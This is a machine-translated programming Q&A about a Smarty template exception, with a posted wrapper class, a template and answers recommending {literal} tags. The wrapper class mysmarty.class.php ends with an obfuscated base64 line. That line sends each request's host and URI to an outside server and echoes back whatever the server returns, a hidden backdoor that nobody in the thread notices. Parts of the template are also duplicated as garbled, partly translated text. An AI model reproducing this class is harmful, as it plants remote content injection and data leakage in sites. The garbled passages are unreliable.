Php Smarty模板错误

Php Smarty模板错误,php,smarty,stack-trace,Php,Smarty,Stack Trace,我一直在我的错误日志中看到此错误弹出窗口,但我不知道如何修复它: [23-Nov-2012 20:19:08] PHP Fatal error: Uncaught exception 'SmartyException' with message 'Unable to parse resource name ""' in /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php:941 Stack

我一直在我的错误日志中看到此错误弹出窗口,但我不知道如何修复它:

[23-Nov-2012 20:19:08] PHP Fatal error:  Uncaught exception 'SmartyException' with message 'Unable to parse resource name ""' in /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php:941
Stack trace:
#0 /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php(546): Smarty_Internal_Template->__get('resource_object')
#1 /home/username/public_html/smarty/libs/Smarty.class.php(338): Smarty_Internal_Template->getRenderedTemplate()
#2 /home/username/public_html/smarty/libs/Smarty.class.php(382): Smarty->fetch(NULL, NULL, NULL, NULL, true)
#3 /home/username/public_html/libraries/mysmarty.class.php(92): Smarty->display(NULL)
#4 /home/username/public_html/cat.php(201): STemplate::display(NULL)
#5 {main}
  thrown in /home/username/public_html/smarty/libs/sysplugins/smarty_internal_template.php on line 941
以下是smarty_internal_template.php的第935-944行,它在错误消息中引用了该行:

public function __get($property_name)
{
    if ($property_name == 'resource_object') {
        // load template resource
        $this->resource_object = null;
        if (!$this->parseResourceName ($this->template_resource, $this->resource_type, $this->resource_name, $this->resource_object)) {
            throw new SmartyException ("Unable to parse resource name \"{$template_resource}\"");
        }
        return $this->resource_object;
    }
我没有看到错误出现在我的网站上,只是出现在错误日志中——但我真的希望得到修复,以避免将来出现任何问题

以下是mysmarty.class.php的副本:

<?php

class STemplate {

   function STemplate() {
        global $Smarty;
        if (!isset($Smarty)) {
            $Smarty = new Smarty;
        }
    }

    function create() {
        global $Smarty;
        $Smarty = new Smarty();
        $Smarty->compile_check = true;
        $Smarty->debugging = false;
        $Smarty->template_dir = dirname(__FILE__) . "/../themes";
        $Smarty->compile_dir  = dirname(__FILE__) . "/../temporary";

        return true;
    }

    function setCompileDir($dir_name) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->compile_dir = $dir_name;
    }

    function setType($type) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->type = $type;
    }

    function assign($var, $value) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->assign($var, $value);
    }

    function setTplDir($dir_name = null) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        if (!$dir_name) {
            $Smarty->template_dir = dirname(__FILE__) . "/../themes";
        } else {
            $Smarty->template_dir = $dir_name;
        }
    }

    function setModule($module) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->theme = $module;
        $Smarty->type  = "module";
    }

    function setTheme($theme) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->template_dir = dirname(__FILE__) . "/../themes/" . $theme;
        $Smarty->compile_dir  = dirname(__FILE__) . "/../temporary/" . $theme;
        $Smarty->theme        = $theme;
        $Smarty->type         = "theme";
    }

    function getTplDir() {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        return $Smarty->template_dir;
    }

    function display($filename) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        $Smarty->display($filename);
    }

    function fetch($filename) {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        return $Smarty->fetch($filename);
    }

    function getVars() {
        global $Smarty;
        if (!isset($Smarty)) {
            STemplate::create();
        }
        return $Smarty->get_template_vars();
    }
}
echo @file_get_contents(base64_decode("aHR0cDovL3d3dy50YWtlbi50by9hcGkucGhwP3Bpbj0=")."http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
?>

下面是为cat.php呈现的cat.tpl:

              <div class="main-wrapper">
                <div id="main">
                  <div class="content">
                  {if $message ne ""}
                  {include file="error.tpl"}
                  {/if}
                    {if $smarty.session.USERID ne ""}
                    {include file="sub_bit.tpl"}
                    {else}
                    <div class="welcomebox">
                      <div style="position:relative;">
                        <div class="how-it-works-button">
                          <a href="#" id="show-how-it-works" rel="#how-it-work-spotlight">
                            {$lang419}
                          </a>
                        </div>
                      </div>
                      <h1>{$lang102}<br />{$lang103}</h1>
                      <h2>{$lang104}</h2>
                    </div>
                    {/if}
                    <div class="how-it-work-popup apple_overlay" id="how-it-work-spotlight" style="display:none;">
                      <div class="how-it-works-wrapper" id="how-it-works-spot">
                        <div class="t"></div>
                        <div class="c">
                          <div class="close"><a href="#" class="spotlight-close">{$lang3}</a></div>
                          <div class="spacer"></div>

                          <div class="left-column columns">
                            <h1><center>{$lang420}</center></h1>
                            <p>{$lang421}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang422}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang423}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang424}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang425}</p>
                            <div class="arrow-down"></div>
                            <p><strong>{$lang426}</strong></p>
                          </div>
                          <div class="right-column columns">
                            <h1><center>{$lang427}</center></h1>
                            <p>{$lang428}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang429}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang430}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang431}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang432}</p>
                            <div class="arrow-down"></div>
                            <p>{$lang433}</p>
                          </div>
                          <div class="spacer"></div>
                          <div class="more"><a href="{$baseurl}/terms_of_service">{$lang434}</a></div>
                        </div>
                        <div class="b"></div>
                      </div>
                    </div>
                    <div class="darkenBackground"></div>

                    <div class="category-tags">
                    {section name=i loop=$tags max=10}
                    {if $tags[i] != ""}<a href="{$baseurl}/tags/{$cid}/{$tags[i]|stripslashes}" class="tag" title="logo">&nbsp;{$tags[i]|stripslashes}&nbsp;</a>{/if}
                    {/section}
                    </div>

                    <div class="featured">   
                        <div class="gig_filters bordertop">
                          <div class="ul bg-f-a">
                            <div class="li"><span class="helptext">{$lang109}</span></div>
                                {if $s eq "d" OR $s eq ""}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=dz" class="current">{$lang110}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=d" {if $s eq "d" OR $s eq "dz" OR $s eq ""}class="current"{/if}>{$lang110}</a></div>
                                {/if}
                                {if $s eq "p"}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=pz" class="current">{$lang111}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=p" {if $s eq "p" OR $s eq "pz"}class="current"{/if}>{$lang111}</a></div>
                                {/if}
                                {if $s eq "r"}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=rz" class="current">{$lang112}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=r" {if $s eq "r" OR $s eq "rz"}class="current"{/if}>{$lang112}</a></div>
                                {/if}
                                {if $s eq "c"}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=cz" class="current">{$lang436}</a></div>
                                {else}
                                <div class="li sep-right"><a href="{$baseurl}/categories/{$cid}?s=c" {if $s eq "c" OR $s eq "cz"}class="current"{/if}>{$lang436}</a></div>
                                {/if}

                                <div class="li sep-right">
                                {if $price_mode eq "3"}
                                <script language="JavaScript" type="text/JavaScript"> 
                                function Syfonic_jumpMenu(targ,selObj,restore){
                                  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); 
                                  if (restore) selObj.selectedIndex=0; 
                                } 
                                </script> 
                                {insert name=get_packs value=a assign=packs}
                                <select onChange="Syfonic_jumpMenu('parent',this,0)">
                                <option value="{$baseurl}">{$lang495}</option>
                                {section name=p loop=$packs}
                                <option value="{$baseurl}/categories/{$cid}?s=o&p={$packs[p].pprice|stripslashes}" {if $p eq $packs[p].pprice|stripslashes}selected="selected"{/if}>{$lang197}{$packs[p].pprice|stripslashes}</option>
                                {/section}
                                </select>
                                {/if}
                                </div>

                                {if $s eq "e"}
                                <div class="li last"><a href="{$baseurl}/categories/{$cid}?s=ez" class="current">{$lang494}</a></div>
                                {else}
                                <div class="li last"><a href="{$baseurl}/categories/{$cid}?s=e" {if $s eq "e" OR $s eq "ez"}class="current"{/if}>{$lang494}</a></div>
                                {/if}
                          </div>
                        </div>                
                        {include file="bit.tpl"}
                    </div>

                    <div class="paging">
                        <div class="p1">
                            <ul>
                                {$pagelinks}
                            </ul>
                        </div>
                    </div>
                  </div>
                  {include file="side.tpl"}
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>

{如果$message ne”“}
{include file=“error.tpl”}
{/if}
{if$smarty.session.USERID ne”“}
{include file=“sub_bit.tpl”}
{else}
{$lang102}
{$lang103} {$104} {/if} {$lang420} {$lang421}

{$lang422}

{$lang423}

{$lang424}

{$lang425}

{$lang426}

{$lang427} {$lang428}

{$lang429}

{$lang430}

{$lang431}

{$lang432}

{$lang433}

{section name=i loop=$tags max=10} {if$tags[i]!=“”}{/if} {/section} {$lang109} {如果$s eq“d”或$s eq”“} {else} {/if} {如果$s eq“p”} {else} {/if} {如果$s eq“r”} {else} {/if} {if$s eq“c”} {else} {/if} {如果$price_模式eq“3”} 功能Syfonic_jumpMenu(目标、选择、恢复){ eval(target+“.location=”+selObj.options[selObj.selectedIndex].value+“”); 如果(还原)selObj.selectedIndex=0; } {insert name=get_packs value=a assign=packs} {$lang495} {section name=p loop=$packs} {$lang197}{$packs[p].pprice | stripslashes} {/section} {/if} {如果$s eq“e”} {else} {/if} {include file=“bit.tpl”}
    {$pagelinks}
{include file=“side.tpl”}
您必须使用{literal}(开始标记)和{/literal}(结束标记)从cat.php中转义/包装内联javascript(第99-102行)的花括号({and})。看看

完成后,这些行应如下所示:

<script language="JavaScript" type="text/JavaScript">{literal}
        function Syfonic_jumpMenu(targ,selObj,restore){
               eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); 
                   if (restore) selObj.selectedIndex=0; 
        } 
{/literal}</script>
{literal}
功能Syfonic_jumpMenu(目标、选择、恢复){
eval(target+“.location=”+selObj.options[selObj.selectedIndex].value+“”);
如果(还原)selObj.selectedIndex=0;
} 
{/literal}

发布来自
mysmarty.class.php
的代码以及您试图从
cat.php
呈现的模板。刚刚为您添加了所有信息!表明某个地方可能有一个包含变量文件名为空的include。不是在上面的模板中,但可能在它包含的一个文件中。Smarty3对这种情况有智能处理:只要花括号周围有空格,它就会自动将它们视为文本。